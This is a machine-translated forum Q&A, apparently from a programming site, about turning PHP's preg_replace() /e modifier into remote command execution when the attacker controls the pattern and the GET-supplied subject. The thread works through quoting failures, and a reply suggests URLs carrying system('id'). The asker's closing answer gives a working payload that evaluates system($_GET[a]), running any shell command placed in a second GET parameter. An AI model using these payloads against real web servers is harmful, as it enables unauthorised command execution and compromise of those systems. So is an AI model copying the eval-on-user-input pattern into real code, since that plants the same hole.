php preg_replace 转义单引号和双引号

php preg_replace escapes single and double quotes

我正在做一些安全研究,我对 PHP 中的 preg_replace() 的评估有疑问。我的目标是我可以使用此功能执行命令。我可以控制 preg_replace 函数的第一个和第三个参数,但不能控制第二个。这段代码按预期工作,我只在使用像 system() 这样的函数时遇到问题,它需要一个字符串作为我无法提供的参数。

echo preg_replace('/(.+)/e', '\1', "phpinfo()");
echo preg_replace('/(.+)/e', '\1', 'phpinfo()');//we both work as intended

我试过这个简单的例子来了解如何在这种情况下使用引号和字符串。

echo preg_replace('/(.+)/e', '\1', '$a="1"');
echo preg_replace('/(.+)/e', '\1', "$a='1'"); //basically the same, only switched ' and "

它应该执行命令$a="1";(我很清楚它没有任何用处)。

完全准确地说,第三个参数是 GET 参数,我不知道在这种情况下它是否仍然相关,我使用了哪种引号。为了适应这两种情况,我都尝试了但没有成功。

当我执行这一行时,

php > echo preg_replace('/(.+)/e', '\1', '$a="1"');

我收到一个错误

PHP Parse error:  syntax error, unexpected '"', expecting identifier (T_STRING) in php shell
    code(1) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code:
$a=\"1\" in php shell code on line 1


//Same command, switches quotation marks
php > echo preg_replace('/(.+)/e', '\1', "$a='1'");

PHP Notice:  Undefined variable: a in php shell code on line 1
PHP Parse error:  syntax error, unexpected '=' in php shell code(1) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code:
=\'1\' in php shell code on line 1

我已阅读错误消息并对此主题进行了一些研究,但无法找到对我有帮助的内容。

在第三个参数周围使用preg_quote并不能解决这个问题。

我想要的是能够在 preg_replace() 的计算中执行将字符串作为输入的函数。非常感谢任何帮助。

我想发表评论,但还不能...

我假设代码如下所示:

preg_replace('/(.+)/e', '\1', $_GET['code']);

既然你是说第三个参数是GET自带的。难道你不能做一些像

这样的事情吗?
http://somesuperduperurl.xxx/code=system('id')

?你说你能控制preg_replace的第一个参数。也是通过GET吗?

http://somesuperduperurl.xxx/sth=/known/e?code=system('id')

你试过吗?

我想出了解决问题的方法。我得出的结论是,我想做的事情似乎是不可能的,至少在这种方式下是不可能的。

但是,当我使用下面的代码时

echo preg_replace("/(.+)/e", "\1", "system($_GET[a])");

我可以简单地在 URL 中添加另一个 GET 参数,其中包含我所有的命令。使用这种方法,我不需要关心 preg_replace 转义我的 ' 和 ".

请注意,$_GET[a] 的使用是不正确的,但是因为 PHP 非常好,它只是假设未知常量 a 应该是一个字符串并以这种方式解释它.在 GET 参数中 a 我现在可以插入任何我想执行的命令。